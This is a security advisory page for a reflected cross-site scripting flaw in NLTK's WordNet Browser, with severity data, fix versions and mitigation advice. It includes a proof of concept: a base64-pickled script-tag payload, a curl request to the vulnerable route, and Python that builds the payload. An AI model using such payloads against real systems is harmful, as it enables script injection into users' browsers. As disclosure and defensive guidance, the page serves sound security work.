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Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltkGHSA-gfwx-w7gr-fvh7

MEDIUMFix: nltk/nltk@1c3f799

GHSA-gfwx-w7gr-fvh7 is a medium-severity (CVSS 6.1) Cross-site Scripting (XSS) vulnerability in nltk. A fix is available for nltk — see the affected versions and patch details below.

Also known asCVE-2026-33230PYSEC-2026-2235
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-gfwx-w7gr-fvh7.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk+0.01%
Lower risk than most CVEs28th percentile — riskier than 28% of all scored CVEsHighest risk
0.00%0.30%0.59%0.89%0.0%0.3%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍nltk

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

nltk.app.wordnet_app contains a reflected cross-site scripting issue in the lookup_... route. A crafted lookup_<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.

Details

The vulnerable flow is in nltk/app/wordnet_app.py:

This is inconsistent with the search route, which does escape user input:

As a result, a malicious lookup_... payload can inject script into the response page.

The issue is exploitable because:

  • Reference.decode() accepts attacker-controlled base64-encoded pickle data for the URL state.
  • The decoded word is reflected into HTML without html.escape().
  • The server is started with HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not just localhost.

PoC

  1. Start the WordNet Browser in an isolated Docker environment:
docker run -d --name nltk-wordnet-web -p 8002:8002 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"
  1. Use the following crafted payload, which decodes to:
("<script>alert(1)</script>", {})

Encoded payload:

gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
  1. Request the vulnerable route:
curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
  1. Observed result:
The word or words '<script>alert(1)</script>' were not found in the dictionary.
<img width="867" height="208" alt="127" src="https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6" />

I also validated the issue directly at function level in Docker:

import base64
import pickle

from nltk.app.wordnet_app import page_from_href

payload = base64.urlsafe_b64encode(
    pickle.dumps(("<script>alert(1)</script>", {}), -1)
).decode()

page, word = page_from_href(payload)
print(word)
print("<script>alert(1)</script>" in page)

Observed output:

WORD= <script>alert(1)</script>
HAS_SCRIPT= True

Impact

This is a reflected XSS issue in the NLTK WordNet Browser web UI.

An attacker who can convince a user to open a crafted lookup_... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:

  • run arbitrary script in the browser tab
  • manipulate the page content shown to the user
  • issue same-origin requests to other WordNet Browser routes
  • potentially trigger available UI actions in that local app context

This primarily impacts users who run nltk.app.wordnet_app as a local or self-hosted HTTP service and open attacker-controlled links.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPInltkall versions3.9.4pip install --upgrade 'nltk==3.9.4'

Affected Products

1 product · 1 configurations
Application
nltknltk
≤ 3.9.3
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update nltk to 3.9.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gfwx-w7gr-fvh7 is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

MODERATE: This reflected cross-site scripting flaw in NLTK's WordNet Browser application allows for arbitrary script execution. Exploitation requires a user to be running the local WordNet Browser server and then accessing a specially crafted URL. This vulnerability affects Red Hat products that include the NLTK…

Workaround published by Red Hat
To mitigate this issue, avoid running the NLTK WordNet Browser server (`nltk.app.wordnet_app`) if it is not required. If the server must be run, users should exercise caution and avoid accessing untrusted or suspicious URLs while the application is active.
Source: Red Hat security advisory for GHSA-gfwx-w7gr-fvh7 (CC BY 4.0)

Frequently Asked Questions

### Summary `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_<payload>` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. ### Details The vulnerable flow is in `nltk/app/wordnet_app.py`: - [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144) - Requests starti
O3 Security · Impact-Aware SCA

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